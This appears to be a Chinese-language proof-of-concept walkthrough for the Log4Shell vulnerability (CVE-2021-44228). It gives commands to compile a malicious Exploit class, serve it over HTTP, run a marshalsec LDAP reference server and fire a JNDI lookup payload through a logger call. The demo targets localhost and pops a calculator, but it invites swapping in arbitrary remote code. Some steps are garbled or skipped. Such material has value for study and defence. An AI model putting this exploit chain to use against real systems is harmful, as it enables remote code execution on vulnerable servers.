
Log4Shell(CVE-2021-44228)的概念验证,演示了通过LDAP和HTTP服务器实现基于JNDI的远程代码执行。
Exploit.java 文件移动到另一个文件夹。例如,我在主目录下创建了一个 rce 文件夹。/home/coldfusionx/rce
Exploit.java
在这里你可以将远程代码更改为任何内容,在本例中,它会在 Ubuntu 机器上弹出 gnome-calculator。
javac Exploit.java 编译 Exploit.java,编译成功后,我们应该会看到生成了一个新文件 Exploit.class。
Exploit.class,使用 python3 -m http.server 8888,或者你也可以使用 php 服务器,命令为 php -S 127.0.0.1:8888。

Add Configuration
1. 选择 `Application`

2. 选择主类

3. 选择 JDK 并应用。

4. 你应该会看到 Log4j Application 已创建,准备运行。

marshasecjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit" 来启动 LDAP 服务器,这里的 127.0.0.1:8888 是托管 Exploit.class 的 python 服务器,因此我们指定 /#Exploit
步骤 9:根据你的需求编辑 log4j.java 中的 JNDI payload,logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
在本例中,我们加载远程类 Exploit,LDAP 引用服务器会将请求重定向到我们托管恶意 Exploit 类的 python 服务器。
步骤 10:运行 Log4j,成功运行后,你应该会看到 gnome 计算器弹出。
